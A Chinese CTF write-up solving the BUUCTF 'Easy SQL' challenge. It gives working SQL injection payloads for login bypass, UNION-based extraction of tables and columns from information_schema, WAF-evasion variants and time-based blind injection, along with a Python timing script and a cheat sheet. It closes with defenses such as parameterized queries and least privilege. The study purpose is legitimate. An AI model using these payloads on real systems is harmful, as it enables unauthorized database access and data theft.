CTF Writeup | Easy SQL:从登录绕过到脱库的完整攻防实战

CTF Writeup | Easy SQL:从登录绕过到脱库的完整攻防实战
题目来源BUUCTF / CTF公开赛经典题
分类Web安全
难度⭐⭐ 入门级(Easy)
考点字符型SQL注入、联合注入(UNION注入)、信息搜集、WAF绕过
知识储备SQL基础语法、MySQL系统表结构、HTTP基础、浏览器开发者工具

一、题目背景与初步探测

1.1 场景描述

本题提供了一个简易的管理员登录页面,页面结构非常简单:

  • 一个用户名输入框
  • 一个密码输入框
  • 一个"登录"按钮

页面顶部有一行提示文字:"输入管理员账号密码获取权限"。

💡 在CTF比赛中,看到"管理员"、"登录"等字眼时,要立刻警觉——这往往暗示我们需要通过非正常手段获取管理员权限,而非暴力破解。

1.2 初步信息收集

首先进行基础的测试:

正常登录测试:

输入admin/123456,页面返回提示:

plaintext

9

1

2

账号或密码错误

这说明后台存在数据库查询验证逻辑,且admin这个用户名确实存在于数据库中(否则可能提示"用户不存在"以区分错误类型)。

特殊字符测试:

在用户名字段输入单引号',页面返回:

plaintext

9

1

2

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server right syntax to use near ''' AND password=...' at line 1

关键信息提取:

  1. 错误类型为MySQL语法错误—— 确认数据库为MySQL
  2. 错误信息泄露了部分SQL语句结构—— 可以看到'后面紧跟着AND password=
  3. 错误回显存在—— 这是一个"回显注入",我们可以直接从页面获取查询结果

1.3 推测后台SQL语句

根据错误信息和常见的登录验证逻辑,可以推测后台的SQL查询语句如下:

sql

9

1

2

3

4

SELECT * FROM users

WHERE username='[用户输入的用户名]'

AND password='[用户输入的密码]'

当用户输入admin时,实际执行的SQL为:

sql

9

1

2

3

4

SELECT * FROM users

WHERE username='admin'

AND password='123456'

当用户输入admin'时,单引号提前闭合了username字段的字符串定界符,导致SQL语法被破坏:

sql

9

1

2

3

4

SELECT * FROM users

WHERE username='admin''

AND password='123456'

这里的admin''在MySQL中是非法的语法(多了一个未转义的单引号),因此数据库抛出语法错误。

🔑核心判断:这是一个字符型注入(与数字型注入相对)。字符型注入的特点是在注入payload中需要手动闭合引号,而数字型注入不需要。区分方式:输入'报错、输入''(即转义后的单引号)正常,则为字符型注入。

二、核心解题步骤

Step 1:登录绕过 —— 恒真条件构造

目标

在不了解正确密码的情况下,通过构造恶意输入使WHERE条件永远为真,从而以任意用户身份"登录"。

Payload

在用户名输入框中填入:

plaintext

9

1

2

admin' OR 1=1 --

原理解析

拼接后的SQL语句变为:

sql

9

1

2

3

4

SELECT * FROM users

WHERE username='admin' OR 1=1 -- '

AND password='任意内容'

逐部分分析:

表格

片段作用
admin'闭合username字段的左引号
OR 1=1添加一个恒真的条件,使整个WHERE子句始终返回 true
--MySQL单行注释符(注意末尾需要加空格),将后面的密码验证部分注释掉

WHERE子句的逻辑运算:

plaintext

9

1

2

3

4

5

6

7

username='admin' OR 1=1

↓ ↓

FALSE TRUE

\ /

\ /

OR 运算 → TRUE(恒真)

最终数据库返回users表的全部记录(或第一条匹配记录),成功绕过登录验证。

注释符说明

MySQL中可用的注释方式:

  • --(双横线+空格):标准SQL注释,空格不可省略
  • #:MySQL特有的注释符,URL编码为%23
  • / **/:内联注释,也可用于截断后续语句

⚠️实战注意:在HTTP GET请求中,#会被浏览器当作URL的fragment标识符,不会发送到服务端,因此需要用%23代替;而--中的空格在URL中需要编码为%20,即--+--%20

Step 2:探测字段数 —— ORDER BY 注入

目标

确定SELECT查询的字段数量,为后续的UNION SELECT注入做准备。

Payload

将用户名框清空,填入:

plaintext

9

1

2

' ORDER BY 3 --

页面正常返回(无报错)。

再尝试:

plaintext

9

1

2

' ORDER BY 4 --

页面报错:

plaintext

9

1

2

Unknown column '4' in 'order clause'

原理解析

ORDER BY N的含义是按第 N 个字段排序。如果查询的字段数少于 N,MySQL 会报错"Unknown column"。

由此得出结论:

表格

ORDER BY结果含义
ORDER BY 3✅ 正常第3个字段存在
ORDER BY 4❌ 报错第4个字段不存在

→ **查询共有 3 个字段 **。

💡ORDER BY方法本质上是二分查找的思想。在实际比赛中,如果字段数很多,可以先用二分法定位(如先试 ORDER BY 16、32、64...),减少请求次数。也可以用UNION SELECT NULL,NULL,NULL的方式来探测,报错的字段数量不匹配时会直接提示列数不一致。

Step 3:定位回显点 —— UNION SELECT

目标

在3个字段中,找到哪些字段的值会显示在页面上(即"回显位"),后续我们将利用这些位置来输出查询结果。

Payload

plaintext

9

1

2

' UNION SELECT 1,2,3 --

原理解析

拼接后的SQL语句:

sql

9

1

2

3

4

5

SELECT * FROM users

WHERE username=''

UNION SELECT 1,2,3 -- '

AND password='...'

UNION SELECT的作用是将第二条查询的结果集合并到第一条的结果中。如果第一条查询返回空集(username=''大概率匹配不到记录),则页面只显示第二条查询的结果。

页面显示内容为:

plaintext

9

1

2

2

→ **第2个字段是回显点 **。

回显点选择策略

在3个字段中:

表格

字段位置显示情况用途
第1字段未显示不可用
第2字段显示为 "2"主要回显点
第3字段未显示不可用

因此,后续所有通过UNION SELECT注入获取的数据,都需要放在第2个字段的位置:

plaintext

9

1

2

' UNION SELECT 1,[目标数据],3 --

🔑为什么第一个查询要返回空?如果username=''能匹配到记录,第一条查询的结果会和UNION的结果一起显示,造成干扰。确保第一个查询为空的方法:用一个不存在的用户名(如' UNION...),或者直接让用户名框为单个引号。

Step 4:获取当前数据库名

Payload

plaintext

9

1

2

' UNION SELECT 1,database(),3 --

结果

页面返回:

plaintext

9

1

2

ctf_db

原理解析

database()是MySQL内置函数,返回当前连接的数据库名称。在CTF中,获取数据库名是信息收集的第一步,它帮助我们了解目标数据库的命名和结构。

📌常用MySQL信息收集函数一览:

表格

函数作用
database()当前数据库名
user()/current_user()当前数据库用户
version()MySQL版本
@@datadir数据库存储目录
@@version_compile_os操作系统版本
schema()等价于database()

Step 5:获取所有表名

Payload

plaintext

9

1

2

' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database() --

结果

页面返回:

plaintext

9

1

2

users,flag_table

原理解析

information_schema是MySQL的"元数据库",存储了所有数据库的结构信息:

表格

系统表存储内容
information_schema.tables所有数据库中的所有表名
information_schema.columns所有表中的所有列名
information_schema.schemata所有数据库名

关键过滤条件:

  • table_schema=database()—— 限定为当前数据库(ctf_db),否则会把MySQL系统表也列出来

GROUP_CONCAT()函数将多行结果合并为一行,以逗号分隔。如果不使用GROUP_CONCAT(),回显点只显示第一条记录的表名。

💡GROUP_CONCAT()默认最大长度为 1024 字节。如果表名/列名很多,结果可能被截断。可以通过SET SESSION group_concat_max_len=100000来扩大限制,但在CTF的UNION注入中无法执行多条语句,因此通常使用LIMIT分页读取:

sql

9

1

2

3

' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 --

' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 --

Step 6:获取 flag_table 的列名

Payload

plaintext

9

1

2

' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='flag_table' --

结果

页面返回:

plaintext

9

1

2

id,flag_content

原理解析

查询information_schema.columns,通过table_name='flag_table'过滤出目标表的所有列名。

可以看到flag_table有两个字段:

表格

列名推测用途
id主键/序号
flag_content存储flag的字段

⚠️注意引号处理:table_name的值需要用字符串表示时,在UNION注入中需要注意引号的嵌套问题。外层已经有单引号闭合了username字段,这里flag_table的单引号不会冲突,因为它们处于不同的SQL字符串上下文中。

Step 7:获取 Flag

Payload

plaintext

9

1

2

' UNION SELECT 1,flag_content,3 FROM flag_table --

结果

页面返回:

plaintext

9

1

2

flag{sql_inj3ct1on_1s_easy!}

🎉恭喜!成功获取Flag!

完整攻击链路回顾

plaintext

99

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

┌─────────────────────────────────────────────────────────┐

│ 攻击链路总结 │

├─────────────────────────────────────────────────────────┤

│ │

│ 1. 输入 admin' → 发现MySQL语法错误 → 确认字符型注入 │

│ ↓ │

│ 2. admin' OR 1=1 -- → 恒真条件 → 登录绕过成功 │

│ ↓ │

│ 3. ORDER BY 3/4 → 确定查询有3个字段 │

│ ↓ │

│ 4. UNION SELECT 1,2,3 → 确定第2字段为回显点 │

│ ↓ │

│ 5. database() → 数据库名: ctf_db │

│ ↓ │

│ 6. information_schema → 表名: users, flag_table │

│ ↓ │

│ 7. information_schema → 列名: id, flag_content │

│ ↓ │

│ 8. SELECT from table → flag{sql_inj3ct1on_1s_easy!} │

│ │

└─────────────────────────────────────────────────────────┘

三、进阶技巧:WAF绕过

在实际CTF比赛和真实渗透场景中,服务端往往会部署WAF(Web Application Firewall,Web应用防火墙)来拦截常见的SQL注入payload。以下是几种常用的绕过技术:

3.1 大小写混淆

WAF通常基于关键词匹配进行检测。MySQL的SQL关键字**不区分大小写 **,但WAF可能只检测特定大小写模式。

sql

9

1

2

3

4

5

6

-- 原始payload(易被检测)

' UNION SELECT 1,database(),3 --

-- 大小写混淆后

' uNiOn SeLeCt 1,database(),3 --

3.2 内联注释(Inline Comment)

MySQL特有的内联注释语法/*!...*/中的内容会被正常执行,但很多WAF不会解析注释内的内容。

sql

9

1

2

3

4

5

6

-- 内联注释绕过

' /*!UNION*/ /*!SELECT*/ 1,database(),3 --

-- 更激进的写法:将关键字拆开

' /*!50000UNION*//*!50000SELECT*/ 1,database(),3 --

📌/*!50000...*/中的数字是MySQL最低版本号要求,50000代表5.0.0版本以上。MySQL会执行注释中版本号满足条件的内容,而大多数WAF不会识别这种语法。

3.3 特殊字符编码

在HTTP传输层面进行编码变换:

表格

编码方式示例说明
URL编码%27(单引号)、%20(空格)基础的URL编码
双重URL编码%2527%27再编码一次)部分WAF只做一次解码
Unicode编码%u0027(单引号)IIS服务器常见
Hex编码0x61646D696E(admin)绕过字符串匹配

3.4 空白符替代

用其他空白字符替代空格:

sql

99

1

2

3

4

5

6

7

8

9

10

11

12

13

-- Tab替代

' UNION SELECT 1,database(),3 --

-- 换行符替代

'

UNION

SELECT

1,database(),3

--

-- 括号包裹(不需要空格)

'UNION(SELECT(1),database(),(3))--

3.5 时间盲注方案

当页面无任何回显(既无数据回显也无错误回显)时,可以使用**时间盲注(Time-based Blind Injection) **。

基本原理

通过条件判断语句控制数据库的响应时间:条件为真则执行SLEEP(),条件为假则立即返回。通过观察响应时间来逐位推断数据。

Payload 示例

sql

9

1

2

' AND IF(SUBSTR(database(),1,1)='c',SLEEP(5),1) --

执行逻辑

plaintext

9

1

2

3

4

5

6

IF(SUBSTR(database(),1,1)='c', SLEEP(5), 1)

↓ ↓

取数据库名第1个字符 如果等于'c',休眠5秒

否则立即返回(约0秒)

通过观测响应时间:

  • 响应时间 ≈ 5秒 → 条件为真 → 第1个字符是c
  • 响应时间 ≈ 0秒 → 条件为假 → 第1个字符不是c
自动化脚本思路(Python + requests)

python

99

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

import requests

import time

url = "http://target.com/login.php"

result = ""

for i in range(1, 50): # 最多猜50个字符

for char in "abcdefghijklmnopqrstuvwxyz0123456789{}_":

payload = f"admin' AND IF(SUBSTR(database(),{i},1)='{char}',SLEEP(2),1) -- "

data = {"username": payload, "password": "anything"}

start = time.time()

requests.post(url, data=data)

elapsed = time.time() - start

if elapsed >= 2: # 响应时间≥2秒说明猜对了

result += char

print(f"[+] 第{i}位: {char} | 当前结果: {result}")

break

print(f"\n[✓] 数据库名: {result}")

🔑效率优化:实际脚本中应使用二分法而非遍历所有字符,将每位猜测次数从38次降低到约6次(log₂(38) ≈ 5.25)。可以使用ASCII()函数配合比较运算符:

sql

9

1

2

IF(ASCII(SUBSTR(database(),1,1))>109, SLEEP(2), 1)

四、知识点总结

4.1 SQL注入漏洞原理

SQL注入的本质是**代码与数据未分离 **——用户输入被直接拼接到SQL语句中,使得攻击者可以改变SQL语句的逻辑结构。

plaintext

9

1

2

3

正常意图:用户输入 = 数据(作为查询条件)

攻击意图:用户输入 = 代码(改变SQL逻辑)

4.2 SQL注入类型分类

表格

类型判断依据典型场景
字符型注入输入'报错,需闭合引号WHERE name='[输入]'
数字型注入输入'不报错,输入AND 1=1有差异WHERE id=[输入]
联合查询注入页面有回显位,可用UNION SELECT本题场景
布尔盲注页面无回显数据,但能区分真/假响应登录成功/失败两种状态
时间盲注页面完全无差异,只能通过响应时间判断IF()+SLEEP()
堆叠注入支持;分隔多条语句SQL Server、部分PHP配置
二次注入恶意数据在存储时正常,在后续读取时触发注册恶意用户名,后台查询时拼接

4.3 常用SQL注入速查表

sql

99

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

-- 判断注入类型

' -- 字符型:报错

" -- 字符型:报错

') -- 括号闭合型:报错

1 AND 1=1 -- 数字型:页面不同

-- 信息收集

database() -- 当前数据库

user() -- 当前用户

version() -- MySQL版本

@@datadir -- 数据目录

-- 联合查询

UNION SELECT 1,2,3 -- 探测回显点

UNION SELECT 1,database(),3 -- 获取数据库名

-- 脱库三板斧

-- 表名:

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()

-- 列名:

SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='xxx'

-- 数据:

SELECT column_name FROM target_table

-- 条件判断与延时

IF(condition, true_value, false_value)

SLEEP(N)

BENCHMARK(count, expr)

五、防御建议

作为安全从业者,我们不仅要会"攻",更要会"防"。以下是针对SQL注入的系统性防御方案:

5.1 参数化查询(最根本的防御)

参数化查询(Prepared Statement)将SQL逻辑与数据彻底分离,即使用户输入包含SQL关键字,也只会被当作纯数据处理。

Java (JDBC):

java

99

1

2

3

4

5

6

7

8

9

10

11

12

// ❌ 错误做法:字符串拼接

String sql = "SELECT * FROM users WHERE username='" + username + "'";

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery(sql);

// ✅ 正确做法:参数化查询

String sql = "SELECT * FROM users WHERE username=? AND password=?";

PreparedStatement pstmt = conn.prepareStatement(sql);

pstmt.setString(1, username);

pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

Python (MySQL Connector):

python

9

1

2

3

4

5

6

# ❌ 错误做法

cursor.execute(f"SELECT * FROM users WHERE username='{username}'")

# ✅ 正确做法

cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

PHP (PDO):

php

9

1

2

3

4

5

// ✅ 正确做法

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");

$stmt->execute(['username' => $username, 'password' => $password]);

$user = $stmt->fetch();

5.2 输入验证与过滤

python

9

1

2

3

4

5

6

7

8

import re

def validate_username(username):

"""白名单验证:只允许字母、数字、下划线"""

if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):

raise ValueError("用户名格式不合法")

return username

5.3 权限最小化原则

sql

9

1

2

3

4

5

6

7

8

-- ❌ 危险:应用程序使用root账户连接数据库

GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'%';

-- ✅ 安全:只授予必要的权限

CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';

GRANT SELECT, INSERT ON ctf_db.users TO 'app_user'@'%';

-- 不授予 DROP, DELETE, ALTER, FILE 等高危权限

5.4 其他防御层次

表格

防御措施说明优先级
参数化查询从根本上杜绝注入⭐⭐⭐⭐⭐
ORM框架如MyBatis、SQLAlchemy,内置防注入⭐⭐⭐⭐⭐
WAF部署作为纵深防御的一层,但不应作为唯一防线⭐⭐⭐
错误处理生产环境关闭详细错误回显,使用统一错误页面⭐⭐⭐⭐
最小权限数据库账户只授必要权限⭐⭐⭐⭐
安全审计定期代码审计,使用SQLMap等工具检测⭐⭐⭐

六、参考链接

  1. OWASP SQL InjectionSQL Injection | OWASP Foundation
  2. MySQL 官方文档 - INFORMATION_SCHEMAhttps://dev.mysql.com/doc/refman/8.0/en/information-schema.html
  3. SQLi Cheat Sheet - Netsparkerhttps://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
  4. PortSwigger Web Security Academy - SQL InjectionWhat is SQL Injection? Tutorial & Examples | Web Security Academy
  5. BUUCTF 在线评测平台BUUCTF在线评测
  6. PayloadsAllTheThings - SQL Injectionhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
  7. SQLMap 官方文档sqlmap — automatic SQL injection and database takeover tool

七、结语

本题虽然标记为"Easy",但它完整地展示了SQL注入攻击的核心链路:** 信息收集 → 漏洞确认 → 注入利用 → 数据提取 **。在实际的安全评估中,SQL注入依然是危害最严重的Web漏洞之一——它可能导致数据泄露、权限提升,甚至服务器被完全控制。

记住一条铁律:** 永远不要信任用户的输入**。

"There are only two types of people in this world: those who have been hacked, and those who don't know they've been hacked."

只有两种人:被黑过的,和不知道自己被黑了的。

本文仅用于CTF学习与安全技术研究,请遵守相关法律法规,切勿用于非法用途。

如果觉得本文对你有帮助,欢迎点赞、收藏、转发。有问题欢迎在评论区交流讨论!